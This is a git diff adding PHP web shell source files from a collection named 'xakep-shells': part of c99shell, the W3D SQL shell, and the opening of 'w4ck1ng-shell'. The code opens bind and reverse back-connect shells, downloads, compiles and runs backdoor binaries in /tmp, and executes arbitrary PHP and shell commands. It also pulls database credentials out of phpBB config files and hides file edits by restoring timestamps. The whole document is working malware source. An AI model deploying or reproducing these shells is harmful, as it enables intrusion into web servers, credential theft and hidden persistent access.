+ $v = $bndportsrcs[$bind["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+ else
+ {
+ $w = explode(".",$bind["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%port",$bind["port"],$v[1]);
+ $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ sleep(5);
+ $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
+ if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
+ else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View binder's process ";}
+ }
+ echo " ";
+ }
+ }
+ if (!empty($bcsubmit))
+ {
+ echo "Result of back connection: ";
+ $v = $bcsrcs[$bc["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ else
+ {
+ $w = explode(".",$bc["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%host",$bc["host"],$v[1]);
+ $v[1] = str_replace("%port",$bc["port"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."... ";
+ }
+ }
+ }
+ if (!empty($dpsubmit))
+ {
+ echo "Result of datapipe-running: ";
+ $v = $dpsrcs[$datapipe["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+ else
+ {
+ $srcpath = $tmpdir.$datapipe["src"];
+ $w = explode(".",$datapipe["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
+ $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
+ $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ sleep(5);
+ $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
+ if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
+ else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View datapipe process ";}
+ }
+ echo " ";
+ }
+ }
+ ?>Binding port: Port: "> Password: "> $v) {echo "".$v[0]." ";}
+ ?>
+Back connection: HOST: "> Port: "> $v) {echo "".$v[0]." ";}
+?>
+Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!
+Datapipe: HOST: "> Local port: "> $v) {echo "".$v[0]." ";}
+?> Note: sources will be downloaded from remote server.Processes: ";
+ if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
+ else {$handler = "tasklist";}
+ $ret = myshellexec($handler);
+ if (!$ret) {echo "Can't execute \"".$handler."\"!";}
+ else
+ {
+ if (empty($processes_sort)) {$processes_sort = $sort_default;}
+ $parsesort = parsesort($processes_sort);
+ if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$y = "[sort_desc] ";}
+ else {$y = "[sort_asc] ";}
+ $ret = htmlspecialchars($ret);
+ if (!$win)
+ {
+ if ($pid)
+ {
+ if (is_null($sig)) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+ else {echo "ERROR.";}
+ }
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+{
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ else
+ {
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $head = explode("",$stack[0]);
+ $head[1] = explode(" ",$head[1]);
+ $head[1] = $head[1][0];
+ $stack = array_slice($stack,1);
+ unset($head[2]);
+ $head = array_values($head);
+ if ($parsesort[1] != "a") {$y = "[sort_desc] ";}
+ else {$y = "[sort_asc] ";}
+ if ($k > count($head)) {$k = count($head)-1;}
+ for($i=0;$i".trim($head[$i])." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode("",$line);
+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $processes_sort[0];
+ usort($prcs,"tabsort");
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $i=>$k)
+ {
+ echo "";
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Result of execution this PHP-code : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ }
+ else
+ {
+ if ($eval_txt)
+ {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f")
+{
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $r = @file_get_contents($d.$f);
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+ array("[hex]","info"),
+ array("[html]","html"),
+ array("[txt]","txt"),
+ array("[Code]","code"),
+ array("[Session]","phpsess"),
+ array("[exe]","exe"),
+ array("[SDB]","sdb"),
+ array("[gif]","img"),
+ array("[ini]","ini"),
+ array("[download]","download"),
+ array("[rtf]","notepad"),
+ array("[change]","edit")
+ );
+ echo "Viewing file: [$ext] ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
+ foreach($arr as $t)
+ {
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+ else {echo " ".$t[0]." ";}
+ echo " (+ ) |";
+ }
+ echo " ";
+ if ($ft == "info")
+ {
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+ $fi = fopen($d.$f,"rb");
+ if ($fi)
+ {
+ if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000 ";
+ $a1 = "";
+ $a2 = "";
+ for ($i=0; $i";}
+ $a1 .= " ";
+ $a2 .= " ";
+ }
+ }
+ //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
+ echo " ";
+ }
+ $encoded = "";
+ if ($base64 == 1)
+ {
+ echo "Base64 Encode ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ }
+ elseif($base64 == 2)
+ {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+ }
+ elseif($base64 == 3)
+ {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4)
+ {
+ $text = file_get_contents($d.$f);
+ $encoded = base64_decode($text);
+ echo "Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " ";
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+[Encode ]
+[+chunk ]
+[+chunk+quotes ]
+[Decode ]
+";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {c99shexit();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: Display in text-area ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code")
+ {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("\n",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {c99shexit();}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img")
+ {
+ $inf = getimagesize($d.$f);
+ if (!$white)
+ {
+ if (empty($imgsize)) {$imgsize = 20;}
+ $width = $inf[0]/100*$imgsize;
+ $height = $inf[1]/100*$imgsize;
+ echo "Size: ";
+ $sizes = array("100","50","20");
+ foreach ($sizes as $v)
+ {
+ echo "";
+ if ($imgsize != $v ) {echo $v;}
+ else {echo "".$v." ";}
+ echo " ";
+ }
+ echo " ";
+ }
+ else
+ {
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: ".$inf["mime"]);
+ readfile($d.$f);
+ exit;
+ }
+ }
+ elseif ($ft == "edit")
+ {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+}
+else
+{
+ @ob_clean();
+ //For simple size- and speed-optimization.
+ $imgequals = array(
+ "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+ "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
+ "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
+ "ext_html"=>array("ext_html","ext_htm"),
+ "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
+ "ext_lnk"=>array("ext_lnk","ext_url"),
+ "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
+ "ext_doc"=>array("ext_doc","ext_dot"),
+ "ext_js"=>array("ext_js","ext_vbs"),
+ "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
+ "ext_wri"=>array("ext_wri","ext_rtf"),
+ "ext_swf"=>array("ext_swf","ext_fla"),
+ "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
+ "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
+ );
+ if (!$getall)
+ {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
+ if (empty($images[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($images[$img]);
+ }
+ else
+ {
+ foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."] ");}}}}
+ natsort($images);
+ $k = array_keys($images);
+ echo "";
+ foreach ($k as $u) {echo $u.": ";}
+ echo " ";
+ }
+ exit;
+}
+if ($act == "about") {echo "Credits: Idea, leading and coding by tristram[CCTeaM]. Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM]. Thanks all who report bugs. All bugs send to tristram's ICQ #656555 icq . ";}
+?>
+
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/w3d.php.php.txt b/xakep-shells/PHP/w3d.php.php.txt
new file mode 100644
index 0000000..f9d2213
--- /dev/null
+++ b/xakep-shells/PHP/w3d.php.php.txt
@@ -0,0 +1,128 @@
+W3D Shell // By: Warpboy \\\ SQL Shell';
+echo '
+
+
+W3D SQL Shell
+By: Warpboy
+';
+echo '
+ []Database Info[]
+
+
+Username:
+Password:
+Database:
+
+
+';
+echo '
+
+ Query:
+
+ ';
+
+//Initial pre-cookie
+$con = @mysql_connect($host, $user, $pass);
+if (!$con){
+ //secondary post-cookie
+ $con1 = @mysql_connect($host, $username, $password);
+ if(!$con1) {
+ echo "Currently not connected. ";
+ }
+ }
+
+//Notify user of current connection
+if($_REQUEST['change'] && $user != '') {
+echo "Connected to MySQL as user " . " $user ";
+}
+if(!$_REQUEST['change'] && $username != '') {
+echo "Connected to MySQL as user " . " $username ";
+}
+
+//Database Time
+//initial pre-cookie
+$db_c = @mysql_select_db($dbn,$con);
+if(!$db_c) {
+//secondary post-cookie
+$db_d = @mysql_select_db($database,$con1);
+if(!$db_d) {
+if(isset($database) || isset($dbn)) {
+echo "Unable to access database!";
+}
+}
+}
+//query function
+query();
+
+function query() {
+$query = $_GET['query'];
+if($query == '') {
+echo "No Query Executed ";
+}
+else {
+//Query Time
+$query1 = str_replace("\\", " ", $query);
+$result = @mysql_query("$query1");
+echo "Query Results: ";
+ echo "
+ \n";
+
+$rr = @mysql_num_fields($result);
+ for($kz=0; $kz<$rr; $kz++)
+ {
+ $ee = @mysql_field_name($result,$kz);
+ echo "$ee ";
+ }
+ echo " \n";
+
+ $vv = true;
+ while ($line = @mysql_fetch_array($result, MYSQL_ASSOC)) {
+ if($vv === true){
+ echo "\n";
+ $vv = false;
+ }
+ else{
+ echo " \n";
+ $vv = true;
+ }
+ foreach ($line as $col_value) {
+ echo "$col_value \n";
+ }
+ echo " \n";
+ }
+ echo "
\n";
+
+ @mysql_free_result($result);
+
+}
+}
+
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/w4k.php.php.txt b/xakep-shells/PHP/w4k.php.php.txt
new file mode 100644
index 0000000..d870490
--- /dev/null
+++ b/xakep-shells/PHP/w4k.php.php.txt
@@ -0,0 +1,2830 @@
+&1","r"))) {
+return 126;
+}
+while (!feof($p)) {
+$line=fgets($p,1000);
+$out .= $line;
+}
+pclose($p);
+return $out;
+}
+}else{
+function myshellexec($cmd)
+{
+ global $disablefunc;
+ $result = "";
+ if (!empty($cmd))
+ {
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
+ elseif (($result = `$cmd`) !== FALSE) {}
+ elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_resource($fp = popen($cmd,"r")))
+ {
+ $result = "";
+ while(!feof($fp)) {$result .= fread($fp,1024);}
+ pclose($fp);
+ }
+ }
+ return $result;
+}
+}
+}
+
+
+function checkproxyhost(){
+$host = getenv("HTTP_HOST");
+$filename = '/tmp/.setan/xh';
+if (file_exists($filename)) {
+$_POST['proxyhostmsg']="Success! $host:6543 Note: If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy. ";
+} else {
+$_POST['proxyhostmsg']="Failed! Note: If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail. ";
+ }
+}
+
+if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd"))
+{
+ $ip = gethostbyname($_SERVER["HTTP_HOST"]);
+ $por = $_POST['backconnectport'];
+ if(is_writable(".")){
+ cfb("shbd",$backdoor);
+ ex("chmod 777 shbd");
+ $cmd = "./shbd $por";
+ exec("$cmd > /dev/null &");
+ $scan = myshellexec("ps aux");
+ if(eregi("./shbd $por",$scan)){ $data = ("\nProcess found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\nProcess not found running, backdoor not setup successfully."); }
+ $_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por' .$data";
+ }else{
+ cfb("/tmp/shbd",$backdoor);
+ ex("chmod 777 /tmp/shbd");
+ $cmd = "./tmp/shbd $por";
+ exec("$cmd > /dev/null &");
+ $scan = myshellexec("ps aux");
+ if(eregi("./shbd $por",$scan)){ $data = ("\nProcess found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\nProcess not found running, backdoor not setup successfully."); }
+ $_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por' .$data";
+}
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
+{
+ if(is_writable(".")){
+ cf("back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ if (file_exists("back")) { unlink("back"); }
+ }else{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
+}
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
+{
+ if(is_writable(".")){
+ cf("backc",$back_connect_c);
+ ex("chmod 777 backc");
+ //$blah = ex("gcc back.c -o backc");
+ $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ //if (file_exists("back.c")) { unlink("back.c"); }
+ if (file_exists("backc")) { unlink("backc"); }
+ }else{
+ ex("chmod 777 /tmp/backc");
+ cf("/tmp/backc",$back_connect_c);
+ //$blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ //if (file_exists("back.c")) { unlink("back.c"); }
+ if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
+}
+
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or err();
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+
+function cfb($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or bberr();
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+
+function err()
+{
+$_POST['backcconnmsge']="Error: Can't connect! ";
+}
+
+function bberr()
+{
+$_POST['backcconnmsge']="Error: Can't backdoor host! ";
+}
+
+function which($pr)
+{
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return $pr; }
+}
+function ex($cfe)
+{
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ return $res;
+}
+
+ini_set("memory_limit","300M");
+if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
+if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}}
+error_reporting(5);
+@ignore_user_abort(TRUE);
+@set_magic_quotes_runtime(0);
+$win = strtolower(substr(PHP_OS,0,3)) == "win";
+define("starttime",getmicrotime());
+//removed backdoor
+if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
+$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
+foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
+$shver = "w4ck1ng-shell (Private Build v0.3)";
+if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
+elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
+else {$surl = $_REQUEST["c99sh_surl"];
+}
+$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
+if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
+if (empty($surl))
+{
+ $surl = "?".$includestr;
+}
+$surl = htmlspecialchars($surl);
+$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
+$login = "";
+$pass = "";
+$md5_pass = "";
+$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
+$login_txt = "Apache Error: Restricted File";
+$accessdeniedmess = "access denied";
+$gzipencode = TRUE;
+$filestealth = TRUE; //if TRUE, don't change modify- and access-time
+$donated_html = "";
